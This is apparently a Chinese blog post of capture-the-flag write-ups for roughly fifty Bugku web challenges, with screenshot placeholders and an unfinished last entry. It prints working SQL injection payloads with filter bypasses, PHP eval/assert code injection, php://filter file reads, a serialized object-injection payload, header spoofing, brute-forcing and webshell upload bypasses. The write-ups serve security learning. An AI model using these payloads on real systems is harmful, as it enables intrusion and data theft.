2019-03-29

Bugku-WEB

1、web2

查看源代码,在url前面加上view-source:,搜索flag即可

2、计算器

发现一个输入框,但是限制了输入长度,当然这是可以绕过的(前端),可以用开发者工具修改input的maxlength属性,或者直接使用bp抓包改包。查看源代码,发现flag放在前端js中。。。

3、web基础$_GET

get传值,构造    ?what=flag

4、web基础$_POST

post传值、使用firefox的hackbar,构造 what=flag

5、矛盾

2019-03-29_第1张图片

get传值,绕过is_numeric(),直接构造    ?num=1xx

在php中 == 判断时当数字与字符串作比较时,系统会先将字符串转化为数字,再与数字进行比较。所以1xx转化为1。同理的还有 in_array(‘abc’,[0,1,2])===true 比较时会使用弱等于(’abc’==0)

6、web3

查看源代码,在最后发现一串HTML十进制编码,用&和#作为前缀,中间为十进制数字,使用半角分号(;)作为后缀,其中后缀也可以没有。类似的还有十六进制,则使用Z,比十进制多了个x。

http://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode在线解码

得到flag

7、域名解析

听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag

在hosts文件中添加123.206.87.240  flag.baidu.com即可

原理:https://zhidao.baidu.com/question/1772371256369572340.html

https://blog.csdn.net/gui951753/article/details/83070180

8、你必须让他停下

发现页面一直在刷新,查看其源代码也一直在改变,抓包查看每一个页面。

第一次flag is here,第二次就出现了flag{xxxxxx} 

9、本地包含

2019-03-29_第2张图片

第一行说明存在flag.php文件,猜测flag也在里面。第二行从全局说明$a可以通过get传值,因为_REQUEST中的变量通过GET、POST、COOKIE输入机制传递给脚本文件

第三行说明可以利用eval的命令执行漏洞

方法一:?hello=1);show_source(%27flag.php%27);var_dump(3

方法二:?hello=1);include $_POST['f'];//

在POST区域:f=php://filter/convert.base64-encode/resource=flag.php

方法三:?hello=get_file_contents('flag.php')或者?hello=file('flag.php')

参考:https://blog.csdn.net/dyw_666666/article/details/82389457

10、变量一

根据提示flag In the variable !

又有eval("var_dump($$args);");

可以使用超全局变量GLOBALS打印所有变量

构造 ?args=GLOBALS

11、web5

提示jspfuck,查看源代码,发现一段jother编码,放入google的console即可,要把最外面的括号也一起放入。

12、头等舱

页面和源代码都没有啥有用的信息,抓包试试,在Response中发现flag

13、网站被黑

页面和源代码都没有啥有用的信息,抓包试试,无果。

用御剑扫描网站,发现shell.php,需要输入密码。

没有提示,只能爆破

利用bp(professional)的intruder模块,添加password list,开始爆破

2019-03-29_第3张图片

所以密码是hack,输入得到flag

14、管理员系统

是一个登录页面,随便输入用户密码,提示IP禁止访问,请联系本地管理员登陆,IP已被记录。

查看源代码,在最下面发现一段base64编码,解码得到test123,猜测是密码,用户名应该是admin。

bp抓包,添加X-Forwarded-For:127.0.0.1

send即可得到flag

15、web4

提示:看看源代码把。

查看源代码,发现一段js代码,

根据代码在线解密https://escape.supfree.net/

利用notepad++的JSTools插件的JSFormat功能美化js代码,得到

2019-03-29_第4张图片

根据if条件在输入框输入67d70。。。,得到flag

16、flag在index里

首页只有一个超链接,点击跳转到http://123.206.87.240:8005/post/index.php?file=show.php,猜测是本地包含。

御剑扫描,无果

尝试flag.php,发现页面没有报错,但是没有显示,于是使用base64编码的方式读取,还是没有,突然看到题目“flag在index里”,构造?file=php://filter/convert.base64-encode/resource=index.php

base64解码得到flag

17、输入密码查看flag

只有一个密码框,提示是五位数,bp爆破即可。

bp的intruder的payload type的number,10000 - 99999 ,step为1

得到

2019-03-29_第5张图片

输入13579得到flag

18、点击一百万次

提示:JavaScript,查看源代码是一段js代码,会提交form表单,传clicks值,

需要点击一百万次,直接抓包修改clicks,发现不行。。。

利用hackerbar post传值可以。。。

直接抓包

2019-03-29_第6张图片

post传值

2019-03-29_第7张图片

好吧,差挺多的,不能单纯修改GET和添加clicks=1000001,以后要修改为POST传值先利用hackbar构造一个header

19、备份是个好习惯

页面只有一串奇怪的字符串。

标题感觉是提示bak文件,御剑扫描,只有index.php,在后面加上.php,类似的还有.index.html.swp

下载了bak文件,得到index.php源码

2019-03-29_第8张图片

md5碰撞,两个都为0e开头,https://www.cnblogs.com/Primzahl/p/6018158.html

构造 ?kekeyy1=s878926199a&kekeyy2=s155964671a

得到flag

20、成绩单

sql注入。

判断闭合方式

输入1,返回成绩,输入1',返回为空,猜测是单引号闭合,输入1",返回成绩

输入1'#,返回成绩,说明#可以注释

判断字段数 

1' order by 4#返回结果

1' order by 5#返回为空,说明字段数为4

判断回显处

-1' union select 1,2,3,4 #,发现全部回显

1、查库

-1' union select database(),2,3,4 #

得到 skctf_flag

2、查表

-1' union select table_name,2,3,4 from information_schema.tables where table_schema="skctf_flag" #

得到 fl4g

where条件中要加引号。

3、查列名

-1' union select column_name,2,3,4 from information_schema.columns where table_name="fl4g" #

得到 skctf_flag

4、查flag

-1' union select skctf_flag,2,3,4 from fl4g#

其中表名fl4g和列名不能带引号。

21、秋名山老司机

py脚本

要我们在2s内计算表达式并post传值,只能通过脚本才行。

代码

2019-03-29_第9张图片

22、速度要快

py代码

抓包,发现Response中有一个flag,两次base64解码

2019-03-29_第10张图片

23、cookies欺骗

页面有一串看不懂的字符串,url有点说法。

line=&filename=a2V5cy50eHQ=

a2V5cy50eHQ=    解码为keys.txt

修改filename为flag.txt(无果),flag.php(无果),index.php(有了)

line表示哪一行,写一个脚本。

2019-03-29_第11张图片

要加上http://,在浏览器中可以不加http://,因为浏览器会自动帮你加上

得到index.php源代码

2019-03-29_第12张图片

if(in_array($file, $file_list)),所以要先加cookie

利用firefox的Modify Headers增加cookie,同时将filename改为keys.php

查看源代码得到flag

24、never give up

查看源代码,发现1p.html

访问123.206.87.240:8006/test/1p.html,发现被重定向

于是在前面加上view-source:

得到

2019-03-29_第13张图片

unescape解码

看见"==",base64解码

再unescape解码

2019-03-29_第14张图片

访问f412a3g.txt直接得到flag,或者根据php代码构造条件

1、if(!$_GET['id'])以及id==0

需要构造$id="0dasd"

2、data = file_get_contents($a,'r')

可以利用php://input,该文件内容为post值

3、strlen($b)>5 and eregi("111",substr($b,0,1),"1114") and substr($b,0,1)!=4

eregi可用%00绕过

构造?id=0dasdasd&a=php://input&b=%001111111

post值为bugku is a nice plateform!

25、welcome to bugkuctf

查看源代码,得到

2019-03-29_第15张图片

base64解码得到

2019-03-29_第16张图片

index.php的源码肯定没有给全,再查看index.php的源码。

2019-03-29_第17张图片

index.php:

1、传入的文件名中不能存在包含flag

2、包含$file

2、对password进行反序列化,并echo password

hint.php:

1、提示flag.php,说明flag在flag.php中

2、存在魔术方法toString(),与index.php中的echo对应

3、会echo file_get_contents($this->file),一切都解决了。

password反序列化代码

2019-03-29_第18张图片

构造?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

post:welcome to the bugkuctf

26、过狗一句话

hint:

2019-03-29_第19张图片

这段代码就相当于assert($_GET[‘s’]);

assert 和 eval 会把字符串当成php代码来执行。

尝试:

s=phpinfo()

s=var_dump($GLOBALS)

正解:

s=print_r(scandir('./'));

27、字符?正则

2019-03-29_第20张图片

代码中出现的符号说明:

.匹配任意除换行符"\n"外的字符

*匹配前一个字符0次或者多次

{} {m}匹配前一个字符m次,{m,n}匹配前一个字符m至n次,若省略n,则匹配m至无限次

[]字符集。对应的位置可以是字符集中任意字符。字符集中的字符可以逐个列出,也可以给出范围,如[abc]或[a-c]。[^abc]表示取反,即非abc。

()被括起来的表达式将作为分组,从表达式左边开始没遇到一个分组的左括号“(”,编号+1.分组表达式作为一个整体,可以后接数量词。表达式中的|仅在该组中有效。

[:punct:]代表标点符号(punctuation symbol),亦即:" ' ? ! ; : $...

/i表示不分大小写

直接构造?id=keykeyppppkey:/p/keya:

居然不行,发现最后的#改成除了#都可以。。。。。。。。。。。醉了

28、前女友(SKCTF)

2019-03-29_第21张图片

strcmp数组绕过,md5数组绕过。。。

构造 ?v1[]=1&v2[]=2&v3[]=3

29、login1(SKCTF)

hint:sql约束攻击

约束SQL注入的原理就是利用的约束条件,比如最长只能有2个字符的话,如果你输入scl,数据库中存的是sc,那么别人用sc注册一个用户名,就可以登陆。

还有一个可以利用的地方就是SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符的,也就是说"scl"=="scl ",同样我们可以通过注册用户名为"scl "的账号来登陆"scl"的账号。

参考:https://blog.csdn.net/destiny1507/article/details/82900421

此题注册"admin ",登录得到flag

30、你从哪里来

are you from google?

猜测修改referer

使用bp抓包改包,headers添加

referer:https://www.google.com

注意是https://

得到flag

31、md5 collision(NUPT_CTF)

题目是md5碰撞,然后提示please input a

md5碰撞,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行 所以a的md5值也要为0eXXXXXXXXX。

32、程序员本地网站

请从本地访问!

bp抓包改包,headers添加

x-forwarded-for:127.0.0.1

得到flag

33、各种绕过

2019-03-29_第22张图片

1、urldecode()二次编码绕过

2、sha1()数组绕过

构造?id=%256D%2561%2572%2567%2569%256E&uname[]=1

post:passwd[]=2

得到flag

34、web8

2019-03-29_第23张图片

1、extract()函数变量覆盖漏洞,但是这里好像用不到

2、file_get_contents($fn),使用php://input绕过

构造 ?ac=1&fn=php://input

post:1

得到flag

35、细心

提示:想办法变成admin

没啥线索,御剑扫描,扫到robots.txt

robots中提示:http://123.206.87.240:8002/web13/resusl.php

根据提示,想办法变成admin

构造 ?x=admin

得到flag

36、求getshell

文件上传

提示:My name is margin,give me a image file not a php

bp抓包改包,

上传a.php,

1、修改Content-Type: image/jpeg

2、修改Content-Type: mUltipart

3、修改 filename="a.php"

成功上传,但是被重命名为jpg,无法用菜刀连

4、尝试修改后缀名,php2, php3, php4, php5,phps, pht, phtm, phtml之后,发现只有php5可以绕过

得到flag

后来想着能不能用图片马,copy a.png/b+1.php yjh.png

上传成功,post:pass=phpinfo();

但是提示405 Not Allowed。。。

估计可能是静态页面

37、INSERT INTO注入

提示:

2019-03-29_第24张图片

x-forwarded-for为注入点,因为bool盲注没有错误回显,所以采用时间盲注,$ip_arr=explode(',',$ip);过滤了逗号

case when exp1 then sleep(4) else 1 end

查表名的代码:

2019-03-29_第25张图片

注意,str1两边要加上引号''

38、这是一个神奇的登陆框

简单的sql注入

bp抓包

1、查字段数

admin_name=amsoasod" order by 3#&admin_passwd=aaaa&submit=GO+GO+GO

得到 Unknown column '3' in 'order clause'

2、admin_name=amsoasod" union select 1,2 %23&admin_passwd=aaaa&submit=GO+GO+GO

发现只返回了一个 1,说明是回显第一个字段

3、admin_name=amsoasod" unionselectdatabase(),2%23&admin_passwd=aaaa&submit=GO+GO+GO

4、admin_name=amsoasod" union select table_name,2frominformation_schema.tables wheretable_schema='bugkusql1'%23&admin_passwd=aaaa&submit=GO+GO+GO

5、admin_name=amsoasod" union select column_name,2frominformation_schema.columns wheretable_name='flag1'%23&admin_passwd=aaaa&submit=GO+GO+GO

6、admin_name=amsoasod" union select flag1fromflag1 %23&admin_passwd=aaaa&submit=GO+GO+GO

39、多次

异或注入

?id=1'^(length('union')!=0)%23

首先,异或同为0,不同为1。如果页面出现错误,说明id=0,可推断0^(length('union')!=0)为0,所以length('union')!=0,说明没有被过滤

通过以上的方法我们可以找到所有被过滤的字符 select union or and 而limit和from没有被过滤

notes: '1'会被转化为0

2、开始注入,测字段数

?id=1' oorrderby2%23?id=1' oorrderby2--+

notes: 不能用'#',bp抓包发现被改为%20。

3、测库名

?id=-1' ununionion seselectlect1,database() %23

得到 web1002-1

4、测表名

?id=-1' ununionion seselectlect 1,group_concat(table_name)frominfoorrmation_schema.tables wheretable_schema='web1002-1'%23

得到flag1

5、测字段名

?id=-1' ununionion seselectlect 1,group_concat(column_name)frominfoorrmation_schema.columns wheretable_name='flag1'%23

得到flag1

查flag

?id=-1' ununionion seselectlect1,flag1 from flag1 %23

得到flag

40、PHP_encrypt_1(ISCCCTF)

2019-03-29_第26张图片

目测是解码,自己写个解密脚本

2019-03-29_第27张图片

41、文件包含2

打开页面发现显示不出来,查看源码有一个注释"upload.php" 打开upload.php,出现了上传文件。

上传一句话木马

后用菜刀连

42、flag.php

提示:hint

构造 ?hint=1

得到

2019-03-29_第28张图片
2019-03-29_第29张图片

key的初值为"",添加 cookie:ISecer=s:0:"";

43、sql注入2

1、解题思路:

1)随便输入了几个用户名,返回用户名不存在,并没有对密码进行检验。

那我们可以猜测是先查找用户名,如果存在,再验证密码。

2)尝试admin用户名,返回密码错误,说明该用户名存在。然后试试在admin后加上单引号,但是返回是用户名不存在,这意味着什么呢?这说明即使语法错误,也不会在页面上显示报错信息。也就不能使用报错注入了,我们发现有两种返回信息:username does not exist!和password error!,那我们可以利用这两个返回值进行布尔盲注。

3)猜测后台的验证:

$sql= select *from users whereusername=$username;

如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,比如这道题就可以尝试补成

whereusername=’admin’and(substring(database(),1,1)=’a’)#

如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。

4)但是这道题过滤了and!!!

尝试加上and返回:

illegal character!!@_@

经过尝试发现还过滤了空格,逗号,等号,for,井号 空格用括号代替,等号用<>(一种不等号)代替

5) 法一:

select*fromuserswhereusername ='admin'^(ascii(mid(database()from(1)))<>98)^1#';

payload:

uname=admin'^(ascii(mid(database()from(1)))<>98)^1-'&passwd=admin

返回: password error!!@_@

为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?

这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for 的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。

每个字符的ascii码判断是不是不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。

如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’ ^ 1 ^ 0

返回值是username does not exist!

如果数据库名的第一位的ascii码值是97,where条件是username=’admin’ ^ 0 ^ 0

返回值会是password error! 这就构成了布尔报错注入。

6) 法二:

先反转 REVERSE(MID((passwd)from(-%d)) 再去最后一位 mid(REVERSE(MID((passwd)from(%-d)))from(-1)) 在比较ASCII ascii(mid(REVERSE(MID((passwd)from(%-d)))from(-1)))>1

mysql测试:

select*fromuserswhereusername ='admin'-ascii(mid(REVERSE(mid((password)from(-1)))from(-1)))<1-''

notes: 'admin'转化为0,所以当ascii(mid(REVERSE(mid((password)from(-1)))from(-1)))=98 成立时总值为-1,从而输出

usernameerror!!@_@

即第一位是'b'

py代码:

2019-03-29_第30张图片

44、孙xx的博客

参考链接:https://blog.csdn.net/u011377996/article/details/79340100

2019-03-29_第31张图片


2019-03-29_第32张图片

45、Trim的日记本

御剑扫描。show.php中得到flag。。。

46、login2(SKCTF)

bp抓包,发现Response中有一个tips,base64解码得到


构造 username='union select '0CC175B9C0F1B6A831C399E269772661'#&password=a

但是不知道为啥登不进去。。。。

参考网址:https://www.cnblogs.com/blili/p/9045280.html


2019-03-29_第33张图片


2019-03-29_第34张图片

47、login3(SKCTF)

尝试用户名,显示 username does not exist!

使用admin时,显示 password error!

判断注入点为username

bool盲注,

过滤了好多:and ----- 所以只能用 ^

substr可用、

1、查库名的长度

admin'^(length(database())<>7)^1-'

返回username does not exist! 即说明长度正确

2、爆库名


2019-03-29_第35张图片


2019-03-29_第36张图片

爆列名,发现过滤了information。。。。

猜测admin表,password字段。。。。


2019-03-29_第37张图片


2019-03-29_第38张图片


找了好几个md5解密网站,只有这个免费 https://www.somd5.com/ 

md5解密得到password,登录得到flag

48、文件上传2(湘湖杯)

1、尝试

op=index.php 提示我们不存在这样的页面,但事实是存在的

op=index 没有出现提示 但页面是空的 

op=php://filter/read=convert.base64-encode/resource=index

2、得到

2019-03-29_第39张图片

2、

通过这个分析,大概懂了为什么文件加.php提醒没有此页面的原因。通过御剑后台扫描扫描出后台的信息,有flag.php页面,则

构造 ?op=php://filter/read=convert.base64-encode/resource=flag

则获得flag的base64加密后的数据,进行解密,获得flag。

49、login4

hint:CBC字节翻转攻击

参考网址:https://blog.csdn.net/zpy1998zpy/article/details/80684485

 下载.注意最前面有个店文件http://123.206.31.85:49168/.index.php.swp

注意index前面有个点

代码有点混乱。。

可以看出我们传入的用户名和密码是经过序列化的,那我们将用户名admik,密码123序列化后再进行攻击,序列化后:

s:2:{s:8:”username”;s:5:”admik”;s:8:”password”;s:3:”123″;}

未完待续。

你可能感兴趣的:(2019-03-29)